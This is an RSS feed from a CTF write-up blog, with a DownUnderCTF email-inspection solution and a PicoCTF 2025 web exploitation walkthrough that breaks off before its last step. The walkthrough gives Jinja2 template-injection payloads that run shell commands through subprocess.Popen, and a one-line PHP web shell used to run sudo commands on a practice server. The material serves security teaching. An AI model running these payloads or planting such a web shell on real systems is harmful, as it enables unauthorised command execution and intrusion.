<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>DarkR777 Cyber Docs Blog</title>
        <link>https://darkr777.github.io/blog</link>
        <description>DarkR777 Cyber Docs Blog</description>
        <lastBuildDate>Fri, 18 Jul 2025 00:00:00 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <item>
            <title><![CDATA[DownUnderCTF 2025 Write-up]]></title>
            <link>https://darkr777.github.io/blog/downunderctf-2025-writeup</link>
            <guid>https://darkr777.github.io/blog/downunderctf-2025-writeup</guid>
            <pubDate>Fri, 18 Jul 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[🧩 Challenge Description]]></description>
            <content:encoded><![CDATA[<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="-challenge-description">🧩 Challenge Description<a href="https://darkr777.github.io/blog/downunderctf-2025-writeup#-challenge-description" class="hash-link" aria-label="Direct link to 🧩 Challenge Description" title="Direct link to 🧩 Challenge Description" translate="no">​</a></h2>
<blockquote>
<p>e-dog has been alone in the downunderctf.com email server for so long. Please yeet him an email of one of your pets to keep him company. He might even share his favourite toy with you.</p>
<p>He has a knack for hiding things one layer deeper than you would expect.</p>
</blockquote>
<p><img decoding="async" loading="lazy" alt="Our Lonely Dog" src="https://darkr777.github.io/assets/images/our_lonely_dog-3fc9fb31eb4bc9bf044c1ed4b21d946a.png" width="1920" height="1080" class="img_ev3q"></p>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="-step-by-step-solution">🪜 Step-by-Step Solution<a href="https://darkr777.github.io/blog/downunderctf-2025-writeup#-step-by-step-solution" class="hash-link" aria-label="Direct link to 🪜 Step-by-Step Solution" title="Direct link to 🪜 Step-by-Step Solution" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="-step-1-sending-a-pet-image-to-e-dog">📤 Step 1: Sending a Pet Image to e-dog<a href="https://darkr777.github.io/blog/downunderctf-2025-writeup#-step-1-sending-a-pet-image-to-e-dog" class="hash-link" aria-label="Direct link to 📤 Step 1: Sending a Pet Image to e-dog" title="Direct link to 📤 Step 1: Sending a Pet Image to e-dog" translate="no">​</a></h3>
<p>When we accessed the challenge link, it allowed us to <strong>submit a file</strong> via email to e-dog.</p>
<p><img decoding="async" loading="lazy" alt="Sent Email" src="https://darkr777.github.io/assets/images/sent_email-d39fcc93883f625044f5109e09b600b7.png" width="1920" height="1080" class="img_ev3q"></p>
<p>We submitted a dog image (<code>dog.jpeg</code>) as our pet companion.</p>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="-step-2-getting-the-reply">📥 Step 2: Getting the Reply<a href="https://darkr777.github.io/blog/downunderctf-2025-writeup#-step-2-getting-the-reply" class="hash-link" aria-label="Direct link to 📥 Step 2: Getting the Reply" title="Direct link to 📥 Step 2: Getting the Reply" translate="no">​</a></h3>
<p>After submission, we received the following email from e-dog:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">Hi, E-dog gets quite pupset when they can't find their bone, especially when it's been a ruff day. Maybe we need to pull out a new one for them?</span><br></div></code></pre></div></div>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="-step-3-view-the-original-message">📄 Step 3: View the Original Message<a href="https://darkr777.github.io/blog/downunderctf-2025-writeup#-step-3-view-the-original-message" class="hash-link" aria-label="Direct link to 📄 Step 3: View the Original Message" title="Direct link to 📄 Step 3: View the Original Message" translate="no">​</a></h3>
<p>After receiving the reply, click the <strong>three dots</strong> in the email interface and choose <strong>Show original</strong>. This displays the raw email source.</p>
<p><img decoding="async" loading="lazy" alt="Raw Email" src="https://darkr777.github.io/assets/images/raw_email-55aa09952f700aa49373b008f43e4f28.png" width="1920" height="1080" class="img_ev3q"></p>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="-step-4-find-the-flag">🚩 Step 4: Find the Flag<a href="https://darkr777.github.io/blog/downunderctf-2025-writeup#-step-4-find-the-flag" class="hash-link" aria-label="Direct link to 🚩 Step 4: Find the Flag" title="Direct link to 🚩 Step 4: Find the Flag" translate="no">​</a></h3>
<p>The raw email contained the hidden flag.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">DUCTF{g00d-luCk-G3tT1nG-ThR0uGh-Al1s-Th3-eM41Ls}</span><br></div></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="-key-takeaways">✅ Key Takeaways<a href="https://darkr777.github.io/blog/downunderctf-2025-writeup#-key-takeaways" class="hash-link" aria-label="Direct link to ✅ Key Takeaways" title="Direct link to ✅ Key Takeaways" translate="no">​</a></h2>
<ul>
<li class="">Email source analysis</li>
<li class="">Inspecting raw email headers and content</li>
<li class="">Looking beyond the visible message</li>
<li class="">Information hiding techniques</li>
</ul>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="conclusion">Conclusion<a href="https://darkr777.github.io/blog/downunderctf-2025-writeup#conclusion" class="hash-link" aria-label="Direct link to Conclusion" title="Direct link to Conclusion" translate="no">​</a></h2>
<p>This challenge demonstrated the importance of examining the raw content of emails rather than relying only on what is displayed in the email client. Hidden information is sometimes embedded one layer deeper, making careful inspection an essential skill during CTFs and real-world investigations.</p>
<p>Thanks for reading, and see you in the next write-up!</p>
<p><strong>— DarkR7</strong></p>]]></content:encoded>
            <category>downunderctf</category>
            <category>ctf</category>
            <category>cybersecurity</category>
            <category>writeup</category>
        </item>
        <item>
            <title><![CDATA[PicoCTF 2025 Write-up]]></title>
            <link>https://darkr777.github.io/blog/picoctf-2025-writeup</link>
            <guid>https://darkr777.github.io/blog/picoctf-2025-writeup</guid>
            <pubDate>Tue, 13 May 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Welcome to another cybersecurity write-up from DarkR7.]]></description>
            <content:encoded><![CDATA[<p>Welcome to another cybersecurity write-up from <strong>DarkR7</strong>.</p>
<p>This article documents my solutions to several <strong>PicoCTF 2025</strong> practice challenges. The objective of these write-ups is to explain the thought process, methodology, and exploitation techniques used to solve each challenge while helping beginners understand common web security vulnerabilities.</p>
<blockquote>
<p><strong>Topics Covered</strong></p>
<ul>
<li class="">Server-Side Template Injection (SSTI)</li>
<li class="">File Upload Vulnerabilities</li>
<li class="">Heap Dump Analysis</li>
<li class="">Cookie Analysis &amp; Encoding</li>
<li class="">Web Exploitation Fundamentals</li>
</ul>
</blockquote>
<p><img decoding="async" loading="lazy" alt="PicoCTF" src="https://darkr777.github.io/assets/images/picoCTF-b96569bc7a1690315924cf646970e509.jpg" width="1900" height="1069" class="img_ev3q"></p>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="author">Author<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#author" class="hash-link" aria-label="Direct link to Author" title="Direct link to Author" translate="no">​</a></h2>
<div class="language-shell codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">$ whoami</span><br></div><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">DarkR7</span><br></div><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">Cybersecurity Student | CTF Player | Security Research Enthusiast</span><br></div></code></pre></div></div>
<hr>
<h1>About PicoCTF</h1>
<p><strong>PicoCTF</strong> is a beginner-friendly Capture The Flag (CTF) platform created by security researchers at <strong>Carnegie Mellon University</strong>. It provides hands-on cybersecurity challenges designed to teach practical offensive security concepts through real-world scenarios.</p>
<p>The platform contains challenges covering multiple security domains including:</p>
<ul>
<li class="">Web Exploitation</li>
<li class="">Cryptography</li>
<li class="">Reverse Engineering</li>
<li class="">Binary Exploitation</li>
<li class="">Digital Forensics</li>
<li class="">General Skills</li>
<li class="">Scripting</li>
<li class="">Networking</li>
</ul>
<p>It is one of the best platforms for anyone beginning their cybersecurity journey.</p>
<p><strong>Official Website</strong></p>
<p><a href="https://picoctf.org/" target="_blank" rel="noopener noreferrer" class="">https://picoctf.org/</a></p>
<hr>
<h1>Web Exploitation Challenges</h1>
<p>This write-up covers the following challenges:</p>
<table><thead><tr><th>Challenge</th><th>Category</th></tr></thead><tbody><tr><td>SSTI1</td><td>Server-Side Template Injection</td></tr><tr><td>n0s4n1ty 1</td><td>File Upload Vulnerability</td></tr><tr><td>head-dump</td><td>API Enumeration / Heap Dump</td></tr><tr><td>Cookie Monster Secret Recipe</td><td>Cookie Analysis</td></tr></tbody></table>
<hr>
<h1>Challenge 1 — SSTI1 (Server-Side Template Injection)</h1>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="challenge-description">Challenge Description<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#challenge-description" class="hash-link" aria-label="Direct link to Challenge Description" title="Direct link to Challenge Description" translate="no">​</a></h2>
<blockquote>
<p>Can you exploit this website?</p>
</blockquote>
<blockquote>
<p>Try to get the website to evaluate a Jinja expression.</p>
</blockquote>
<p><strong>Target</strong></p>
<p><a href="http://rescued-float.picoctf.net:59626/" target="_blank" rel="noopener noreferrer" class="">http://rescued-float.picoctf.net:59626/</a></p>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="understanding-the-challenge">Understanding the Challenge<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#understanding-the-challenge" class="hash-link" aria-label="Direct link to Understanding the Challenge" title="Direct link to Understanding the Challenge" translate="no">​</a></h2>
<p>This challenge demonstrates a classic <strong>Server-Side Template Injection (SSTI)</strong> vulnerability using the <strong>Jinja2</strong> template engine.</p>
<p>Instead of treating user input as plain text, the application renders it as a template. If user-controlled input is evaluated by Jinja2, arbitrary template expressions may execute on the server.</p>
<p>The objective is to leverage this behavior to execute commands and retrieve the flag.</p>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="solution">Solution<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#solution" class="hash-link" aria-label="Direct link to Solution" title="Direct link to Solution" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-1--open-the-website">Step 1 — Open the Website<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-1--open-the-website" class="hash-link" aria-label="Direct link to Step 1 — Open the Website" title="Direct link to Step 1 — Open the Website" translate="no">​</a></h3>
<p>The application accepts user input and immediately renders it back to the page.</p>
<p>This behavior is commonly associated with template rendering, making SSTI a likely attack vector.</p>
<p><img decoding="async" loading="lazy" alt="Initial Website" src="https://darkr777.github.io/assets/images/Screenshot_2025-05-13_14_46_53-e71486fc35bbc1cb4c701c0e039cc314.png" width="1366" height="768" class="img_ev3q"></p>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-2--test-for-ssti">Step 2 — Test for SSTI<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-2--test-for-ssti" class="hash-link" aria-label="Direct link to Step 2 — Test for SSTI" title="Direct link to Step 2 — Test for SSTI" translate="no">​</a></h3>
<p>The first step is confirming whether template expressions are evaluated.</p>
<p>Input:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">{{7*8}}</span><br></div></code></pre></div></div>
<p>If the server responds with:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">56</span><br></div></code></pre></div></div>
<p>then the application is vulnerable to SSTI.</p>
<p><img decoding="async" loading="lazy" alt="Payload" src="https://darkr777.github.io/assets/images/Screenshot_2025-05-13_14_51_15-1db1dd63403aadc99e9fc5d6c2c3cb58.png" width="1366" height="768" class="img_ev3q"></p>
<p><img decoding="async" loading="lazy" alt="Execution Result" src="https://darkr777.github.io/assets/images/Screenshot_2025-05-13_14_51_21-4e5fab18bbf1fc417277a15724582fa6.png" width="1366" height="768" class="img_ev3q"></p>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-3--access-python-built-ins">Step 3 — Access Python Built-ins<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-3--access-python-built-ins" class="hash-link" aria-label="Direct link to Step 3 — Access Python Built-ins" title="Direct link to Step 3 — Access Python Built-ins" translate="no">​</a></h3>
<p>Once SSTI is confirmed, the next objective is escaping the template sandbox and accessing Python internals.</p>
<p>The following payload enumerates Python subclasses.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">{{ ''.__class__.mro()[2].__subclasses__() }}</span><br></div></code></pre></div></div>
<p>Among these subclasses is <strong>subprocess.Popen</strong>, which can be abused to execute operating system commands.</p>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-4--locate-subprocesspopen">Step 4 — Locate subprocess.Popen<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-4--locate-subprocesspopen" class="hash-link" aria-label="Direct link to Step 4 — Locate subprocess.Popen" title="Direct link to Step 4 — Locate subprocess.Popen" translate="no">​</a></h3>
<p>After identifying the correct subclass index, commands can be executed directly on the target server.</p>
<p>Example payload:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">{{ ''.__class__.mro()[2].__subclasses__()[&lt;index&gt;]("ls",shell=True,stdout=-1).communicate() }}</span><br></div></code></pre></div></div>
<p>Listing the current directory helps identify useful files such as:</p>
<ul>
<li class="">flag.txt</li>
<li class="">application files</li>
<li class="">configuration files</li>
</ul>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-5--extract-the-flag">Step 5 — Extract the Flag<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-5--extract-the-flag" class="hash-link" aria-label="Direct link to Step 5 — Extract the Flag" title="Direct link to Step 5 — Extract the Flag" translate="no">​</a></h3>
<p>After identifying the correct <code>subprocess.Popen</code> index, the final payload is used to read the contents of the flag file.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">{{ ''.__class__.mro()[2].__subclasses__()[&lt;index&gt;]("cat flag.txt",shell=True,stdout=-1).communicate() }}</span><br></div></code></pre></div></div>
<p>The server executes the command and returns the contents of the flag file.</p>
<p><img decoding="async" loading="lazy" alt="Flag Retrieved" src="https://darkr777.github.io/assets/images/sst1-e4484d6ad27bebfb0603725eb9848d1d.png" width="732" height="50" class="img_ev3q"></p>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="flag">Flag<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#flag" class="hash-link" aria-label="Direct link to Flag" title="Direct link to Flag" translate="no">​</a></h2>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_3066c7bd}</span><br></div></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="key-takeaways">Key Takeaways<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#key-takeaways" class="hash-link" aria-label="Direct link to Key Takeaways" title="Direct link to Key Takeaways" translate="no">​</a></h2>
<p>This challenge demonstrates how dangerous <strong>Server-Side Template Injection</strong> vulnerabilities can be when user input is rendered directly by a template engine.</p>
<p>Important concepts practiced in this challenge:</p>
<ul>
<li class="">Identifying SSTI vulnerabilities</li>
<li class="">Jinja2 template injection</li>
<li class="">Python object traversal</li>
<li class="">Enumerating Python subclasses</li>
<li class="">Command execution through <code>subprocess.Popen</code></li>
<li class="">Reading sensitive files from the server</li>
</ul>
<hr>
<h1>Challenge 2 — n0s4n1ty 1 (File Upload Vulnerability)</h1>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="challenge-description-1">Challenge Description<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#challenge-description-1" class="hash-link" aria-label="Direct link to Challenge Description" title="Direct link to Challenge Description" translate="no">​</a></h2>
<p>The application contains an insecure file upload feature.</p>
<p>The objective is to exploit the upload functionality to execute arbitrary commands on the server and retrieve the flag.</p>
<p><strong>Target</strong></p>
<p><a href="http://standard-pizzas.picoctf.net:54419/" target="_blank" rel="noopener noreferrer" class="">http://standard-pizzas.picoctf.net:54419/</a></p>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="understanding-the-challenge-1">Understanding the Challenge<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#understanding-the-challenge-1" class="hash-link" aria-label="Direct link to Understanding the Challenge" title="Direct link to Understanding the Challenge" translate="no">​</a></h2>
<p>Many web applications allow users to upload files such as profile pictures or documents.</p>
<p>If the application fails to validate uploaded files properly, an attacker may upload executable files instead of legitimate content.</p>
<p>In this challenge, the server accepts PHP files, allowing arbitrary command execution through a simple web shell.</p>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="solution-1">Solution<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#solution-1" class="hash-link" aria-label="Direct link to Solution" title="Direct link to Solution" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-1--explore-the-upload-page">Step 1 — Explore the Upload Page<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-1--explore-the-upload-page" class="hash-link" aria-label="Direct link to Step 1 — Explore the Upload Page" title="Direct link to Step 1 — Explore the Upload Page" translate="no">​</a></h3>
<p>After launching the challenge instance, the application presents a standard upload form.</p>
<p>Unlike a secure implementation, the server accepts PHP files without proper validation.</p>
<p><img decoding="async" loading="lazy" alt="Upload Page" src="https://darkr777.github.io/assets/images/2nd1-05b7b0d39fdd4bf76edb19dc3919378a.png" width="1366" height="768" class="img_ev3q"></p>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-2--create-a-php-web-shell">Step 2 — Create a PHP Web Shell<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-2--create-a-php-web-shell" class="hash-link" aria-label="Direct link to Step 2 — Create a PHP Web Shell" title="Direct link to Step 2 — Create a PHP Web Shell" translate="no">​</a></h3>
<p>Create a simple PHP script capable of executing operating system commands supplied through a URL parameter.</p>
<div class="language-php codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-php codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">&lt;?php</span><br></div><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">echo shell_exec($_GET['cmd']);</span><br></div><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">?&gt;</span><br></div></code></pre></div></div>
<p>Upload the file through the application's upload form.</p>
<p><img decoding="async" loading="lazy" alt="Uploading PHP File" src="https://darkr777.github.io/assets/images/2nd5-0a2097b18076bdf040be757914684ce0.png" width="1366" height="768" class="img_ev3q"></p>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-3--locate-the-uploaded-file">Step 3 — Locate the Uploaded File<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-3--locate-the-uploaded-file" class="hash-link" aria-label="Direct link to Step 3 — Locate the Uploaded File" title="Direct link to Step 3 — Locate the Uploaded File" translate="no">​</a></h3>
<p>After the upload completes successfully, access the uploaded file using its predictable location.</p>
<p>Example:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">http://standard-pizzas.picoctf.net:54419/uploads/malicious.php</span><br></div></code></pre></div></div>
<p>Once accessible, append commands using the <code>cmd</code> parameter.</p>
<p>Example:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">http://standard-pizzas.picoctf.net:54419/uploads/malicious.php?cmd=whoami</span><br></div></code></pre></div></div>
<p>If command execution is successful, the server responds with the output of the executed command.</p>
<p><img decoding="async" loading="lazy" alt="Command Execution" src="https://darkr777.github.io/assets/images/2nd6-cc98d6123e09afa15b2c0e9ee397e3ce.png" width="1366" height="768" class="img_ev3q"></p>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-4--check-sudo-permissions">Step 4 — Check sudo Permissions<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-4--check-sudo-permissions" class="hash-link" aria-label="Direct link to Step 4 — Check sudo Permissions" title="Direct link to Step 4 — Check sudo Permissions" translate="no">​</a></h3>
<p>The next objective is determining which commands can be executed with elevated privileges.</p>
<p>Execute:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">http://standard-pizzas.picoctf.net:54419/uploads/malicious.php?cmd=sudo -l</span><br></div></code></pre></div></div>
<p><img decoding="async" loading="lazy" alt="sudo Permissions" src="https://darkr777.github.io/assets/images/2nd7-752ffcb8ffe2303b2354bd4d9abf8e88.png" width="1366" height="768" class="img_ev3q"></p>
<p>The response indicates that commands can be executed with elevated privileges.</p>
<p>This significantly increases the impact of the vulnerability because sensitive system files become accessible.</p>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-5--enumerate-the-root-directory">Step 5 — Enumerate the Root Directory<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-5--enumerate-the-root-directory" class="hash-link" aria-label="Direct link to Step 5 — Enumerate the Root Directory" title="Direct link to Step 5 — Enumerate the Root Directory" translate="no">​</a></h3>
<p>List the contents of the root user's directory.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">http://standard-pizzas.picoctf.net:54419/uploads/malicious.php?cmd=sudo ls /root</span><br></div></code></pre></div></div>
<p>Among the listed files, the target file is:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">flag.txt</span><br></div></code></pre></div></div>
<p>Once identified, it can be read directly.</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-6--read-the-flag">Step 6 — Read the Flag<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-6--read-the-flag" class="hash-link" aria-label="Direct link to Step 6 — Read the Flag" title="Direct link to Step 6 — Read the Flag" translate="no">​</a></h3>
<p>After confirming that the <code>flag.txt</code> file exists inside the root directory, the final step is simply reading its contents.</p>
<p>Execute:</p>
